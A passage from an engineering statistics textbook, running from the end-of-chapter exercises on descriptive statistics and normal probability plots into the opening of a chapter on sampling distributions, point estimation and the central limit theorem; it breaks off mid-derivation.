plots, so in these cases only a very severe departure from linearity should be interpreted as a strong indication of nonnormality. As n increases, the linear pattern will tend to become stronger, and the normal probability plot will be easier to interpret and more reliable as an indicator of the form of the distribution.

EXERCISES FOR SECTION 6-6

6-73. Construct a normal probability plot of the piston ring diameter data in Exercise 6-7. Does it seem reasonable to assume that piston ring diameter is normally distributed?

6-74. Construct a normal probability plot of the insulating fluid breakdown time data in Exercise 6-8. Does it seem reasonable to assume that breakdown time is normally distributed?

6-75. Construct a normal probability plot of the visual accommodation data in Exercise 6-11. Does it seem reasonable to assume that visual accommodation is normally distributed?

6-76. Construct a normal probability plot of the solar intensity data in Exercise 6-12. Does it seem reasonable to assume that solar intensity is normally distributed?

6-77. Construct a normal probability plot of the O-ring joint temperature data in Exercise 6-19. Does it seem reasonable to assume that O-ring joint temperature is normally distributed? Discuss any interesting features that you see on the plot.

6-78. Construct a normal probability plot of the octane rating data in Exercise 6-22. Does it seem reasonable to assume that octane rating is normally distributed?

6-79. Construct a normal probability plot of the cycles to failure data in Exercise 6-23. Does it seem reasonable to assume that cycles to failure is normally distributed?

6-80. Construct a normal probability plot of the suspended solids concentration data in Exercise 6-32. Does it seem reasonable to assume that the concentration of suspended solids in water from this particular lake is normally distributed?

6-81. Construct two normal probability plots for the height data in Exercises 6-30 and 6-37. Plot the data for female and male students on the same axes. Does height seem to be normally distributed for either group of students? If both populations have the same variance, the two normal probability plots should have identical slopes. What conclusions would you draw about the heights of the two groups of students from visual examination of the normal probability plots?

6-82. It is possible to obtain a "quick and dirty" estimate of the mean of a normal distribution from the fiftieth percentile value on a normal probability plot. Provide an argument why this is so. It is also possible to obtain an estimate of the standard deviation of a normal distribution by subtracting the eighty-fourth percentile value from the fiftieth percentile value. Provide an argument why this is so.

Supplemental Exercises

6-83. The National Oceanic and Atmospheric Administration provided the monthly absolute estimates of global (land and ocean combined) temperature index (degrees C) from 2000. Read January to December from left to right (source: http://www.ncdc.noaa.gov/oa/climate/research/anomalies/anomalies.html). Construct and interpret either a digidot plot or a separate stem-and-leaf and time series plot of these data.

Global Monthly Temperature

Year	1	2	3	4	5	6	7	8	9	10	11	12
2000	12.3	12.6	13.2	14.3	15.3	15.9	16.2	16.0	15.4	14.3	13.1	12.5
2001	12.4	12.5	13.3	14.2	15.4	16.0	16.3	16.2	15.5	14.5	13.5	12.7
2002	12.7	12.9	13.4	14.2	15.3	16.1	16.4	16.1	15.5	14.5	13.5	12.6
2003	12.6	12.6	13.2	14.2	15.4	16.0	16.3	16.2	15.6	14.7	13.4	12.9
2004	12.6	12.8	13.3	14.3	15.2	16.0	16.3	16.1	15.5	14.6	13.6	12.7
2005	12.6	12.5	13.4	14.4	15.4	16.2	16.4	16.2	15.7	14.6	13.6	12.8
2006	12.4	12.6	13.2	14.2	15.3	16.1	16.4	16.2	15.6	14.6	13.5	12.9
2007	12.8	12.7	13.3	14.4	15.3	16.0	16.3	16.1	15.5	14.5	13.4	12.6
2008	12.2	12.4	13.4	14.1	15.2	16.0	16.3	16.1	15.5	14.6	13.5	12.7
2009	12.5	12.6	13.2	14.3	15.3	16.1	16.4	16.2	15.6			

6-84. The concentration of a solution is measured six times by one operator using the same instrument. She obtains the following data: 63.2, 67.1, 65.8, 64.0, 65.1, and 65.3 (grams per liter).

(a) Calculate the sample mean. Suppose that the desirable value for this solution has been specified to be 65.0 grams per liter. Do you think that the sample mean value computed here is close enough to the target value to accept the solution as conforming to target? Explain your reasoning.

(b) Calculate the sample variance and sample standard deviation.

(c) Suppose that in measuring the concentration, the operator must set up an apparatus and use a reagent material. What do you think the major sources of variability are in this experiment? Why is it desirable to have a small variance of these measurements?

6-85. The table below shows unemployment data for the U.S. that are seasonally adjusted. Construct a time series plot of these data and comment on any features (source: U.S. Bureau of Labor Web site, http://data.bls.gov).

6-86. A sample of six resistors yielded the following resistances (ohms): $x_1 = 45$, $x_2 = 38$, $x_3 = 47$, $x_4 = 41$, $x_5 = 35$, and $x_6 = 43$.

(a) Compute the sample variance and sample standard deviation.

(b) Subtract 35 from each of the original resistance measurements and compute s^2 and s. Compare your results with those obtained in part (a) and explain your findings.

(c) If the resistances were 450, 380, 470, 410, 350, and 430 ohms, could you use the results of previous parts of this problem to find s^2 and s?

6-87. Consider the following two samples:

Sample 1: 10, 9, 8, 7, 8, 6, 10, 6

Sample 2: 10, 6, 10, 6, 8, 10, 8, 6

(a) Calculate the sample range for both samples. Would you conclude that both samples exhibit the same variability? Explain.

(b) Calculate the sample standard deviations for both samples. Do these quantities indicate that both samples have the same variability? Explain.

(c) Write a short statement contrasting the sample range versus the sample standard deviation as a measure of variability.

6-88. An article in *Quality Engineering* (Vol. 4, 1992, pp. 487–495) presents viscosity data from a batch chemical process. A sample of these data follows on p. 219:

Unemployment Percentage

Year	Jan	Feb	Mar	Apr	May	Jun	Jul	Aug	Sep	Oct	Nov	Dec
1999	4.3	4.4	4.2	4.3	4.2	4.3	4.3	4.2	4.2	4.1	4.1	4.0
2000	4.0	4.1	4.0	3.8	4.0	4.0	4.0	4.1	3.9	3.9	3.9	3.9
2001	4.2	4.2	4.3	4.4	4.3	4.5	4.6	4.9	5.0	5.3	5.5	5.7
2002	5.7	5.7	5.7	5.9	5.8	5.8	5.8	5.7	5.7	5.7	5.9	6.0
2003	5.8	5.9	5.9	6.0	6.1	6.3	6.2	6.1	6.1	6.0	5.8	5.7
2004	5.7	5.6	5.8	5.6	5.6	5.6	5.5	5.4	5.4	5.5	5.4	5.4
2005	5.2	5.4	5.2	5.2	5.1	5.1	5.0	4.9	5.0	5.0	5.0	4.8
2006	4.7	4.8	4.7	4.7	4.7	4.6	4.7	4.7	4.5	4.4	4.5	4.4
2007	4.6	4.5	4.4	4.5	4.5	4.6	4.7	4.7	4.7	4.8	4.7	4.9
2008	4.9	4.8	5.1	5.0	5.5	5.6	5.8	6.2	6.2	6.6	6.8	7.2
2009	7.6	8.1	8.5	8.9	9.4	9.5	9.4	9.7	9.8			

13.3	14.3	14.9	15.2	15.8	14.2	16.0	14.0
14.5	16.1	13.7	15.2	13.7	16.9	14.9	14.4
15.3	13.1	15.2	15.9	15.1	14.9	13.6	13.7
15.3	15.5	14.5	16.5	13.4	15.2	15.3	13.8
14.3	12.6	15.3	14.8	14.1	14.4	14.3	15.6
14.8	14.6	15.6	15.1	14.8	15.2	15.6	14.5
15.2	14.3	15.8	17.0	14.3	14.6	16.1	12.8
14.5	15.4	13.3	14.9	14.3	16.4	13.9	16.1
14.6	15.2	14.1	14.8	16.4	14.2	15.2	16.6
14.1	16.8	15.4	14.0	16.9	15.7	14.4	15.6

(a) Reading down and left to right, draw a time series plot of all the data and comment on any features of the data that are revealed by this plot.
(b) Consider the notion that the first 40 observations were generated from a specific process, whereas the last 40 observations were generated from a different process. Does the plot indicate that the two processes generate similar results?
(c) Compute the sample mean and sample variance of the first 40 observations; then compute these values for the second 40 observations. Do these quantities indicate that both processes yield the same mean level? The same variability? Explain.

6-89. The total net electricity consumption of the U.S. by year from 1980 to 2007 (in billion kilowatt-hours) follows. Net consumption excludes the energy consumed by the generating units. Read left to right.

1980	2094.4	1981	2147.1	1982	2086.4	1983	2151.0
1984	2285.8	1985	2324.0	1986	2368.8	1987	2457.3
1988	2578.1	1989	2755.6	1990	2837.1	1991	2886.1
1992	2897.2	1993	3000.7	1994	3080.9	1995	3164.0
1996	3253.8	1997	3301.8	1998	3425.1	1999	3483.7
2000	3592.4	2001	3557.1	2002	3631.7	2003	3662.0
2004	3715.9	2005	3811.0	2006	3816.8	2007	3891.7

(source: U.S. Department of Energy Web site, http://www.eia.doe.gov/emeu/international/contents.html#InternationalElectricity)

Construct a time series plot of these data. Construct and interpret a stem-and-leaf display of these data.

6-90. Reconsider the data from Exercise 6-88. Prepare comparative box plots for two groups of observations: the first 40 and the last 40. Comment on the information in the box plots.

6-91. The data shown in Table 6-7 are monthly champagne sales in France (1962–1969) in thousands of bottles.
(a) Construct a time series plot of the data and comment on any features of the data that are revealed by this plot.
(b) Speculate on how you would use a graphical procedure to forecast monthly champagne sales for the year 1970.

6-92. The following data are the temperatures of effluent at discharge from a sewage treatment facility on consecutive days:

43	47	51	48	52	50	46	49
45	52	46	51	44	49	46	51
49	45	44	50	48	50	49	50

(a) Calculate the sample mean, sample median, sample variance, and sample standard deviation.
(b) Construct a box plot of the data and comment on the information in this display.

6-93. A manufacturer of coil springs is interested in implementing a quality control system to monitor his production process. As part of this quality system, it is decided to record the number of nonconforming coil springs in each production batch of size 50. During 40 days of production, 40 batches of data were collected as follows:

Read data across.

9	12	6	9	7	14	12	4	6	7
8	5	9	7	8	11	3	6	7	7
11	4	4	8	7	5	6	4	5	8
19	19	18	12	11	17	15	17	13	13

(a) Construct a stem-and-leaf plot of the data.
(b) Find the sample average and standard deviation.

Table 6-7 Champagne Sales in France

Month	1962	1963	1964	1965	1966	1967	1968	1969
Jan.	2.851	2.541	3.113	5.375	3.633	4.016	2.639	3.934
Feb.	2.672	2.475	3.006	3.088	4.292	3.957	2.899	3.162
Mar.	2.755	3.031	4.047	3.718	4.154	4.510	3.370	4.286
Apr.	2.721	3.266	3.523	4.514	4.121	4.276	3.740	4.676
May	2.946	3.776	3.937	4.520	4.647	4.968	2.927	5.010
June	3.036	3.230	3.986	4.539	4.753	4.677	3.986	4.874
July	2.282	3.028	3.260	3.663	3.965	3.523	4.217	4.633
Aug.	2.212	1.759	1.573	1.643	1.723	1.821	1.738	1.659
Sept.	2.922	3.595	3.528	4.739	5.048	5.222	5.221	5.591
Oct.	4.301	4.474	5.211	5.428	6.922	6.873	6.424	6.981
Nov.	5.764	6.838	7.614	8.314	9.858	10.803	9.842	9.851
Dec.	7.132	8.357	9.254	10.651	11.331	13.916	13.076	12.670

(c) Construct a time series plot of the data. Is there evidence that there was an increase or decrease in the average number of nonconforming springs made during the 40 days? Explain.

6-94. A communication channel is being monitored by recording the number of errors in a string of 1000 bits. Data for 20 of these strings follow:

Read data across.

3	1	0	1	3	2	4	1	3	1
1	1	2	3	3	2	0	2	0	1

(a) Construct a stem-and-leaf plot of the data.
(b) Find the sample average and standard deviation.
(c) Construct a time series plot of the data. Is there evidence that there was an increase or decrease in the number of errors in a string? Explain.

6-95. Reconsider the golf course yardage data in Exercise 6-9. Construct a box plot of the yardages and write an interpretation of the plot.

6-96. Reconsider the data in Exercise 6-88. Construct normal probability plots for two groups of the data: the first 40 and the last 40 observations. Construct both plots on the same axes. What tentative conclusions can you draw?

6-97. Construct a normal probability plot of the effluent discharge temperature data from Exercise 6-92. Based on the plot, what tentative conclusions can you draw?

6-98. Construct normal probability plots of the cold start ignition time data presented in Exercises 6-53 and 6-64. Construct a separate plot for each gasoline formulation, but arrange the plots on the same axes. What tentative conclusions can you draw?

6-99. Reconsider the golf ball overall distance data in Exercise 6-33. Construct a box plot of the yardage distance and write an interpretation of the plot. How does the box plot compare in interpretive value to the original stem-and-leaf diagram?

6-100. Transformations. In some data sets, a transformation by some mathematical function applied to the original data, such as $\sqrt{y}$ or log y, can result in data that are simpler to work with statistically than the original data. To illustrate the effect of a transformation, consider the following data, which represent cycles to failure for a yarn product: 675, 3650, 175, 1150, 290, 2000, 100, 375.

(a) Construct a normal probability plot and comment on the shape of the data distribution.
(b) Transform the data using logarithms; that is, let y^* (new value) = log y (old value). Construct a normal probability plot of the transformed data and comment on the effect of the transformation.

6-101. In 1879, A. A. Michelson made 100 determinations of the velocity of light in air using a modification of a method proposed by the French physicist Foucault. He made the measurements in five trials of 20 measurements each. The observations (in kilometers per second) follow. Each value has 299,000 subtracted from it.

Trial 1

850	900	930	950	980
1000	930	760	1000	960
740	1070	850	980	880
980	650	810	1000	960

Trial 2

960	960	880	850	900
830	810	880	800	760
940	940	800	880	840
790	880	830	790	800

Trial 3

880	880	720	620	970
880	850	840	850	840
880	860	720	860	950
910	870	840	840	840

Trial 4

890	810	800	760	750
910	890	880	840	850
810	820	770	740	760
920	860	720	850	780

Trial 5

890	780	760	790	820
870	810	810	950	810
840	810	810	810	850
870	740	940	800	870

The currently accepted true velocity of light in a vacuum is 299,792.5 kilometers per second. Stigler (1977, *The Annals of Statistics*) reported that the "true" value for comparison to these measurements is 734.5. Construct comparative box plots of these measurements. Does it seem that all five trials are consistent with respect to the variability of the measurements? Are all five trials centered on the same value? How does each group of trials compare to the true value? Could there have been "startup" effects in the experiment that Michelson performed? Could there have been bias in the measuring instrument?

6-102. In 1789, Henry Cavendish estimated the density of the earth by using a torsion balance. His 29 measurements follow, expressed as a multiple of the density of water.

5.50	5.30	5.47	5.10	5.29	5.65
5.55	5.61	5.75	5.63	5.27	5.44
5.57	5.36	4.88	5.86	5.34	5.39
5.34	5.53	5.29	4.07	5.85	5.46
5.42	5.79	5.62	5.58	5.26	

(a) Calculate the sample mean, sample standard deviation, and median of the Cavendish density data.

(b) Construct a normal probability plot of the data. Comment on the plot. Does there seem to be a "low" outlier in the data?
(c) Would the sample median be a better estimate of the density of the earth than the sample mean? Why?

6-103. In their book *Introduction to Time Series Analysis and Forecasting* (Wiley, 2008), Montgomery, Jennings, and Kulahci presented the data on the drowning rate for children between one and four years old per 100,000 of population in Arizona from 1970 to 2004. The data are: 19.9, 16.1, 19.5, 19.8, 21.3, 15.0, 15.5, 16.4, 18.2, 15.3, 15.6, 19.5, 14.0, 13.1, 10.5, 11.5, 12.9, 8.4, 9.2, 11.9, 5.8, 8.5, 7.1, 7.9, 8.0, 9.9, 8.5, 9.1, 9.7, 6.2, 7.2, 8.7, 5.8, 5.7, and 5.2.
(a) Perform an appropriate graphical analysis of the data.
(b) Calculate and interpret the appropriate numerical summaries.
(c) Notice that the rate appears to decrease dramatically starting about 1990. Discuss some potential reasons why this could have happened.
(d) If there has been a real change in the drowning rate beginning about 1990, what impact does this have on the summary statistics that you calculated in part (b)?

6-104. Patients arriving at a hospital emergency department present a variety of symptoms and complaints. The following data were collected during one weekend night shift (11:00 P.M. to 7:00 A.M.):

Chest pain	8
Difficulty breathing	7
Numbness in extremities	3
Broken bones	11
Abrasions	16
Cuts	21
Stab wounds	9
Gunshot wounds	4
Blunt force trauma	10
Fainting, loss of consciousness	5
Other	9

(a) Calculate numerical summaries of these data. What practical interpretation can you give to these summaries?
(b) Suppose that you knew that a certain fraction of these patients leave without treatment (LWOT). This is an important problem, because these patients may be seriously ill or injured. Discuss what additional data you would require to begin a study into the reasons why patients LWOT.

MIND-EXPANDING EXERCISES

6-105. Consider the airfoil data in Exercise 6-18. Subtract 30 from each value and then multiply the resulting quantities by 10. Now compute s^2 for the new data. How is this quantity related to s^2 for the *original* data? Explain why.

6-106. Consider the quantity $\sum_{i=1}^{n}(x_i - a)^2$. For what value of a is this quantity minimized?

6-107. Using the results of Exercise 6-106, which of the two quantities $\sum_{i=1}^{n}(x_i - \bar{x})^2$ and $\sum_{i=1}^{n}(x_i - \mu)^2$ will be smaller, provided that $\bar{x} \neq \mu$?

6-108. **Coding the Data.** Let $y_i = a + bx_i$, $i = 1, 2, \ldots, n$, where a and b are nonzero constants. Find the relationship between $\bar{x}$ and $\bar{y}$, and between s_x and s_y.

6-109. A sample of temperature measurements in a furnace yielded a sample average (°F) of 835.00 and a sample standard deviation of 10.5. Using the results from Exercise 6-108, what are the sample average and sample standard deviations expressed in °C?

6-110. Consider the sample $x_1, x_2, \ldots, x_n$ with sample mean $\bar{x}$ and sample standard deviation s. Let $z_i = (x_i - \bar{x})/s$, $i = 1, 2, \ldots, n$. What are the values of the sample mean and sample standard deviation of the z_i?

6-111. An experiment to investigate the survival time in hours of an electronic component consists of placing the parts in a test cell and running them for 100 hours under elevated temperature conditions. (This is called an "accelerated" life test.) Eight components were tested with the following resulting failure times:

$$75, 63, 100^+, 36, 51, 45, 80, 90$$

The observation 100^+ indicates that the unit still functioned at 100 hours. Is there any meaningful measure of location that can be calculated for these data? What is its numerical value?

6-112. Suppose that we have a sample $x_1, x_2, \ldots, x_n$ and we have calculated $\bar{x}_n$ and s_n^2 for the sample. Now an $(n + 1)$st observation becomes available. Let $\bar{x}_{n+1}$ and s_{n+1}^2 be the sample mean and sample variance for the sample using all $n + 1$ observations.
(a) Show how $\bar{x}_{n+1}$ can be computed using $\bar{x}_n$ and x_{n+1}.
(b) Show that $ns_{n+1}^2 = (n - 1)s_n^2 + \dfrac{n(x_{n+1} - \bar{x}_n)^2}{n + 1}$
(c) Use the results of parts (a) and (b) to calculate the new sample average and standard deviation for the data of Exercise 6-30, when the new observation is $x_{38} = 64$.

MIND-EXPANDING EXERCISES

6-113. Trimmed Mean. Suppose that the data are arranged in increasing order, T% of the observations are removed from each end, and the sample mean of the remaining numbers is calculated. The resulting quantity is called a *trimmed mean*. The trimmed mean generally lies between the sample mean $\bar{x}$ and the sample median $\bar{x}$. Why? The trimmed mean with a moderate trimming percentage (5% to 20%) is a reasonably good estimate of the middle or center. It is not as sensitive to outliers as the mean but more sensitive than the median.

(a) Calculate the 10% trimmed mean for the yield data in Exercise 6-25.

(b) Calculate the 20% trimmed mean for the yield data in Exercise 6-25 and compare it with the quantity found in part (a).

(c) Compare the values calculated in parts (a) and (b) with the sample mean and median for the yield data. Is there much difference in these quantities? Why?

6-114. Trimmed Mean. Suppose that the sample size n is such that the quantity $nT/100$ is not an integer. Develop a procedure for obtaining a trimmed mean in this case.

IMPORTANT TERMS AND CONCEPTS

Box plot
Frequency distribution and histogram
Median, quartiles, and percentiles
Multivariable data
Normal probability plot
Pareto chart
Population mean
Population standard deviation
Population variance
Probability plot
Relative frequency distribution
Sample mean
Sample standard deviation
Sample variance
Stem-and-leaf diagram
Time series plots

7

Refinery in Europoort, Rotterdam, Holland
iStockphoto

Sampling Distributions and Point Estimation of Parameters

INTRODUCTION

Statistical methods are used to make decisions and draw conclusions about populations. This aspect of statistics is generally called **statistical inference.** These techniques utilize the information in a sample in drawing conclusions. This chapter begins our study of the statistical methods used in decision making.

Statistical inference may be divided into two major areas: **parameter estimation** and **hypothesis testing.** As an example of a parameter estimation problem, suppose that an engineer is analyzing the tensile strength of a component used in an automobile chassis. Variability is naturally present between the individual components because of differences in raw material batches, manufacturing processes, and measurement procedures (for example), so the engineer wants to estimate the mean strength of the population of components. In practice, the engineer will use sample data to compute a number that is in some sense a reasonable value (a good guess) of the true population mean. This number is called a **point estimate.** We will see that there are procedures for developing point estimates of parameters that have good statistical properties. We will also be able to establish the precision of the point estimate.

Now let's consider a different type of question. Suppose that two different reaction temperatures t_1 and t_2 can be used in a chemical process. The engineer conjectures that t_1 will result in higher yields than t_2. Statistical hypothesis testing is the framework for solving problems of this type. In this example, the engineer would be interested in formulating hypotheses that allow him or her to demonstrate that the mean yield using t_1 is higher than the mean yield using t_2. Notice that there is no emphasis on estimating yields; instead, the focus is on drawing conclusions about a hypothesis that is relevant to the engineering decision.

This chapter and Chapter 8 discuss parameter estimation. Chapters 9 and 10 focus on hypothesis testing.

CHAPTER OUTLINE

7-1 POINT ESTIMATION

7-2 SAMPLING DISTRIBUTIONS AND THE CENTRAL LIMIT THEOREM

7-3 GENERAL CONCEPTS OF POINT ESTIMATION

7-3.1 Unbiased Estimators

7-3.2 Variance of a Point Estimator

7-3.3 Standard Error: Reporting a Point Estimate

7-3.4 Mean Squared Error of an Estimator

7-4 METHODS OF POINT ESTIMATION

7-4.1 Method of Moments

7-4.2 Method of Maximum Likelihood

7-4.3 Bayesian Estimation of Parameters

LEARNING OBJECTIVES

After careful study of this chapter you should be able to do the following:

1. **Explain the general concepts of estimating the parameters of a population or a probability distribution**
2. **Explain the important role of the normal distribution as a sampling distribution**
3. **Understand the central limit theorem**
4. **Explain important properties of point estimators, including bias, variance, and mean square error**
5. **Know how to construct point estimators using the method of moments and the method of maximum likelihood**
6. **Know how to compute and explain the precision with which a parameter is estimated**
7. **Know how to construct a point estimator using the Bayesian approach**

7-1 POINT ESTIMATION

Statistical inference is always focused on drawing conclusions about one or more parameters of a population. An important part of this process is obtaining estimates of the parameters. Suppose that we want to obtain a **point estimate** (a reasonable value) of a population parameter. We know that before the data are collected, the observations are considered to be random variables, say, $X_1, X_2, \ldots, X_n$. Therefore, any function of the observation, or any **statistic,** is also a random variable. For example, the sample mean $\overline{X}$ and the sample variance S^2 are statistics and they are also random variables.

Since a statistic is a random variable, it has a probability distribution. We call the probability distribution of a statistic a **sampling distribution.** The notion of a sampling distribution is very important and will be discussed and illustrated later in the chapter.

When discussing inference problems, it is convenient to have a general symbol to represent the parameter of interest. We will use the Greek symbol θ (theta) to represent the parameter. The symbol θ can represent the mean μ, the variance σ^2, or any parameter of interest to us. The objective of point estimation is to select a single number, based on sample data, that is the most plausible value for θ. A numerical value of a sample statistic will be used as the point estimate.

In general, if X is a random variable with probability distribution $f(x)$, characterized by the unknown parameter θ, and if $X_1, X_2, \ldots, X_n$ is a random sample of size n from X, the statistic $\hat{\Theta} = h(X_1, X_2, \ldots, X_n)$ is called a **point estimator** of θ. Note that $\hat{\Theta}$ is a random variable because it is a function of random variables. After the sample has been selected, $\hat{\Theta}$ takes on a particular numerical value $\hat{\theta}$ called the **point estimate** of θ.

Point Estimator

A **point estimate** of some population parameter θ is a single numerical value $\hat{\theta}$ of a statistic $\hat{\Theta}$. The statistic $\hat{\Theta}$ is called the **point estimator.**

As an example, suppose that the random variable X is normally distributed with an unknown mean μ. The sample mean is a point estimator of the unknown population mean μ. That is, $\hat{\mu} = \overline{X}$. After the sample has been selected, the numerical value $\bar{x}$ is the point estimate of μ. Thus, if $x_1 = 25$, $x_2 = 30$, $x_3 = 29$, and $x_4 = 31$, the point estimate of μ is

$$\bar{x} = \frac{25 + 30 + 29 + 31}{4} = 28.75$$

Similarly, if the population variance σ^2 is also unknown, a point estimator for σ^2 is the sample variance S^2, and the numerical value $s^2 = 6.9$ calculated from the sample data is called the point estimate of σ^2.

Estimation problems occur frequently in engineering. We often need to estimate

- The mean μ of a single population
- The variance σ^2 (or standard deviation σ) of a single population
- The proportion p of items in a population that belong to a class of interest
- The difference in means of two populations, $\mu_1 - \mu_2$
- The difference in two population proportions, $p_1 - p_2$

Reasonable point estimates of these parameters are as follows:

- For μ, the estimate is $\hat{\mu} = \bar{x}$, the sample mean.
- For σ^2, the estimate is $\hat{\sigma}^2 = s^2$, the sample variance.
- For p, the estimate is $\hat{p} = x/n$, the sample proportion, where x is the number of items in a random sample of size n that belong to the class of interest.
- For $\mu_1 - \mu_2$, the estimate is $\hat{\mu}_1 - \hat{\mu}_2 = \bar{x}_1 - \bar{x}_2$, the difference between the sample means of two independent random samples.
- For $p_1 - p_2$, the estimate is $\hat{p}_1 - \hat{p}_2$, the difference between two sample proportions computed from two independent random samples.

We may have several different choices for the point estimator of a parameter. For example, if we wish to estimate the mean of a population, we might consider the sample mean, the sample median, or perhaps the average of the smallest and largest observations in the sample as point estimators. In order to decide which point estimator of a particular parameter is the best one to use, we need to examine their statistical properties and develop some criteria for comparing estimators.

7-2 SAMPLING DISTRIBUTIONS AND THE CENTRAL LIMIT THEOREM

Statistical inference is concerned with making **decisions** about a population based on the information contained in a random sample from that population. For instance, we may be interested in the mean fill volume of a can of soft drink. The mean fill volume in the population is required to be 300 milliliters. An engineer takes a random sample of 25 cans and computes the sample average fill volume to be $\bar{x} = 298$ milliliters. The engineer will probably decide that the population mean is $\mu = 300$ milliliters, even though the sample mean

was 298 milliliters because he or she knows that the sample mean is a reasonable estimate of μ and that a sample mean of 298 milliliters is very likely to occur, even if the true population mean is $\mu = 300$ milliliters. In fact, if the true mean is 300 milliliters, tests of 25 cans made repeatedly, perhaps every five minutes, would produce values of $\bar{x}$ that vary both above and below $\mu = 300$ milliliters.

The link between the probability models in the earlier chapters and the data is made as follows. Each numerical value in the data is the observed value of a random variable. Furthermore, the random variables are usually assumed to be independent and identically distributed. These random variables are known as a random sample.

Random Sample

> The random variables $X_1, X_2, \ldots, X_n$ are a **random sample** of size n if (a) the X_i's are independent random variables, and (b) every X_i has the same probability distribution.

The observed data are also referred to as a random sample, but the use of the same phrase should not cause any confusion.

The assumption of a random sample is extremely important. If the sample isn't random and is based on judgment or flawed in some other way, then statistical methods will not work properly and will lead to incorrect decisions.

The primary purpose in taking a random sample is to obtain information about the unknown population parameters. Suppose, for example, that we wish to reach a conclusion about the proportion of people in the United States who prefer a particular brand of soft drink. Let p represent the unknown value of this proportion. It is impractical to question every individual in the population to determine the true value of p. In order to make an inference regarding the true proportion p, a more reasonable procedure would be to select a random sample (of an appropriate size) and use the observed proportion $\hat{p}$ of people in this sample favoring the brand of soft drink.

The sample proportion, $\hat{p}$, is computed by dividing the number of individuals in the sample who prefer the brand of soft drink by the total sample size n. Thus, $\hat{p}$ is a function of the observed values in the random sample. Since many random samples are possible from a population, the value of $\hat{p}$ will vary from sample to sample. That is, $\hat{p}$ is a random variable. Such a random variable is called a **statistic.**

Statistic

> A **statistic** is any function of the observations in a random sample.

We have encountered statistics before. For example, if $X, X_2, \ldots, X_n$ is a random sample of size n, the **sample mean** $\bar{X}$, the **sample variance** S^2, and the **sample standard deviation** S are statistics. Since a statistic is a random variable, it has a probability distribution.

Sampling Distribution

> The probability distribution of a statistic is called a **sampling distribution.**

For example, the probability distribution of $\bar{X}$ is called the **sampling distribution of the mean.** The sampling distribution of a statistic depends on the distribution of the population, the size of the sample, and the method of sample selection. We now present perhaps the most important sampling distribution. Other sampling distributions and their applications will be illustrated extensively in the following two chapters.

Consider determining the sampling distribution of the sample mean $\overline{X}$. Suppose that a random sample of size n is taken from a normal population with mean μ and variance σ^2. Now each observation in this sample, say, $X_1, X_2, \ldots, X_n$, is a normally and independently distributed random variable with mean μ and variance σ^2. Then, because linear functions of independent, normally distributed random variables are also normally distributed (Chapter 5), we conclude that the sample mean

$$\overline{X} = \frac{X_1 + X_2 + \cdots + X_n}{n}$$

has a normal distribution with mean

$$\mu_{\overline{X}} = \frac{\mu + \mu + \cdots + \mu}{n} = \mu$$

and variance

$$\sigma^2_{\overline{X}} = \frac{\sigma^2 + \sigma^2 + \cdots + \sigma^2}{n^2} = \frac{\sigma^2}{n}$$

If we are sampling from a population that has an unknown probability distribution, the sampling distribution of the sample mean will still be approximately normal with mean μ and variance σ^2/n, if the sample size n is large. This is one of the most useful theorems in statistics, called the **central limit theorem.** The statement is as follows:

Central Limit Theorem

If $X_1, X_2, \ldots, X_n$ is a random sample of size n taken from a population (either finite or infinite) with mean μ and finite variance σ^2, and if $\overline{X}$ is the sample mean, the limiting form of the distribution of

$$Z = \frac{\overline{X} - \mu}{\sigma/\sqrt{n}} \tag{7-1}$$

as $n \to \infty$, is the standard normal distribution.

The normal approximation for $\overline{X}$ depends on the sample size n. Figure 7-1(a) shows the distribution obtained for throws of a single, six-sided true die. The probabilities are equal (1/6) for all the values obtained, 1, 2, 3, 4, 5, or 6. Figure 7-1(b) shows the distribution of the average score obtained when tossing two dice, and Fig. 7-1(c), 7-1(d), and 7-1(e) show the distributions of average scores obtained when tossing three, five, and ten dice, respectively. Notice that, while the population (one die) is relatively far from normal, the distribution of averages is approximated reasonably well by the normal distribution for sample sizes as small as five. (The dice throw distributions are discrete, however, while the normal is continuous.) Although the central limit theorem will work well for small samples ($n = 4, 5$) in most cases, particularly where the population is continuous, unimodal, and symmetric, larger samples will be required in other situations, depending on the shape of the population. In many cases of practical interest, if $n \geq 30$, the normal approximation will be satisfactory regardless of the shape of the population. If $n < 30$, the central limit theorem will work if the distribution of the population is not severely nonnormal.

Figure 7-1 Distributions of average scores from throwing dice. [Adapted with permission from Box, Hunter, and Hunter (1978).]

EXAMPLE 7-1 Resistors

An electronics company manufactures resistors that have a mean resistance of 100 ohms and a standard deviation of 10 ohms. The distribution of resistance is normal. Find the probability that a random sample of $n = 25$ resistors will have an average resistance less than 95 ohms.

Note that the sampling distribution of $\overline{X}$ is normal, with mean $\mu_{\overline{X}} = 100$ ohms and a standard deviation of

$$\sigma_{\overline{X}} = \frac{\sigma}{\sqrt{n}} = \frac{10}{\sqrt{25}} = 2$$

Therefore, the desired probability corresponds to the shaded area in Fig. 7-2. Standardizing the point $\overline{X} = 95$ in Fig. 7-2, we find that

$$z = \frac{95 - 100}{2} = -2.5$$

and therefore,

$$P(\overline{X} < 95) = P(Z < -2.5) = 0.0062$$

Practical Conclusion: This example show that if the distribution of resistance is normal with mean 100 ohms and standard deviation of 10 ohms, then finding that a random sample of resistors with a sample mean smaller than 95 ohms is a **rare event**. If this actually happen, it caste doubt as to whether the true mean is really 100 ohms or if the true standard deviation is really 10 ohms.

The following example makes use of the central limit theorem.

EXAMPLE 7-2 Central Limit Theorem

Suppose that a random variable X has a continuous uniform distribution

$$f(x) = \begin{cases} 1/2, & 4 \le x \le 6 \\ 0, & \text{otherwise} \end{cases}$$

Find the distribution of the sample mean of a random sample of size $n = 40$.

The mean and variance of X are $\mu = 5$ and $\sigma^2 = (6 - 4)^2/12 = 1/3$. The central limit theorem indicates that the distribution of $\overline{X}$ is approximately normal with mean $\mu_{\overline{X}} = 5$ and variance $\sigma^2_{\overline{X}} = \sigma^2/n = 1/[3(40)] = 1/120$. The distributions of X and $\overline{X}$ are shown in Fig. 7-3.

Now consider the case in which we have two independent populations. Let the first population have mean μ_1 and variance σ_1^2 and the second population have mean μ_2 and variance σ_2^2. Suppose that both populations are normally distributed. Then, using the fact that linear

Figure 7-2 Probability for Example 7-1.

Figure 7-3 The distributions of X and $\bar{X}$ for Example 7-2.

combinations of independent normal random variables follow a normal distribution (see Chapter 5), we can say that the sampling distribution of $\bar{X}_1 - \bar{X}_2$ is normal with mean

$$\mu_{\bar{X}_1 - \bar{X}_2} = \mu_{\bar{X}_1} - \mu_{\bar{X}_2} = \mu_1 - \mu_2 \tag{7-2}$$

and variance

